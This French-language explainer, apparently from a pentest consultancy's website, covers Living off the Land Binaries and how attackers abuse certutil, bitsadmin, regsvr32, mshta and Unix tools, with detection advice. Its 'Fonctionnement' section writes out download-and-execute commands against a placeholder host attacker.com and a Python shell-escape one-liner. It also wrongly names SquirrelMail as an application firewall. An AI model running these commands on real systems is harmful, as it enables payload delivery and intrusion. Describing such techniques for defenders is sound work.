Living off the Land Binaries

hacking

Définition

Living off the Land Binaries (LOLBins / LOLBAS — Living off the Land Binaries And Scripts) est une technique d'évasion offensive dans laquelle l'attaquant utilise des binaires, scripts, et bibliothèques légitimes déjà présents sur le système cible (pré-installés par Windows, macOS, ou Linux) pour effectuer des opérations malveillantes, évitant ainsi d'installer des outils tiers qui pourraient être détectés. Le projet LOLBAS (lolbas-project.github.io) documente les binaires Windows natifs qui peuvent être abusés pour exécuter du code, télécharger des fichiers, contourner les contrôles d'application (AppLocker, WDAC), ou effectuer d'autres opérations malveillantes. Des exemples notables : certutil.exe (téléchargement de fichiers depuis Internet via certutil -urlcache -split -f URL fichier, aussi utilisé pour encoder/décoder du Base64), bitsadmin.exe (téléchargement/upload de fichiers via le service BITS), regsvr32.exe (exécution de DLLs et scripts distants via '/s /u /i:URL scrobj.dll' — le 'Squiblydoo' bypass), mshta.exe (exécution de fichiers HTA et JavaScript distant), wmic.exe (exécution de commandes et de processus), et rundll32.exe (exécution de DLLs). Côté Linux et macOS, les LOLBins incluent : curl/wget pour le téléchargement, python/perl/ruby pour l'exécution de code, bash -c pour l'exécution inline, openssl pour le chiffrement et le tunneling, et des outils système pour le mouvement latéral (ssh, scp, rsync). Le projet GTFOBins documente les binaires Unix abusables. L'abus de LOLBins est très difficile à détecter car les binaires légitimes sont constamment utilisés par les systèmes et les utilisateurs légitimes — les logs montrent certutil.exe ou mshta.exe s'exécuter, ce qui est normal. La détection repose sur le contexte (parent process, arguments, destination réseau) plutôt que sur le simple nom du binaire.

Fonctionnement

Téléchargement via certutil : certutil.exe -urlcache -split -f http://attacker.com/payload.exe C:\Windows\Temp\payload.exe. Exécution via regsvr32 (Squiblydoo) : regsvr32.exe /s /u /i:http://attacker.com/payload.sct scrobj.dll. Encodage Base64 via certutil : certutil -encode payload.exe payload.b64. Téléchargement via BITSAdmin : bitsadmin /transfer job /download /priority normal http://attacker.com/p.exe C:\Temp\p.exe. Exécution via MSHTA : mshta.exe http://attacker.com/payload.hta. GTFOBins pour Linux : python3 -c 'import os; os.system("/bin/sh")' (bypass de restricted shells).

Exploitation offensive

Les LOLBins sont essentiels dans des environnements avec AppLocker (qui bloque les exécutables non approuvés depuis certains répertoires mais pas les binaires Windows système), des AV stricts (qui ne scannent pas les binaires signés Microsoft), et dans des phases de post-exploitation où installer des outils tiers est risqué. Des campagnes APT utilisent exclusivement des LOLBins pour leur persistence et leur mouvement latéral.

Détection et mitigation

Windows Defender Application Control (WDAC) avec des policies strictes peut bloquer certains abus de LOLBins (ex: bloquer regsvr32 avec arguments réseau). Les règles SIGMA sur les process parents inhabituels (certutil.exe lancé depuis Word.exe) et les arguments réseau dans des binaires normalement locaux (certutil avec URLs, mshta avec http) sont efficaces. Firewall d'application de type SquirrelMail pour bloquer les requêtes réseau depuis certutil/bitsadmin.

Articles liés

Expert en cybersécurité offensive et intelligence artificielle. Pentest, audit et développement IA sur-mesure.

Services

Ressources

Projets & Outils

Contact

Nous contacter

Mentions légales Confidentialité Politique éditoriale Plan du site ⭐ Source préférée

Un projet cybersécurité ?

Expert dispo · Réponse 24h

Devis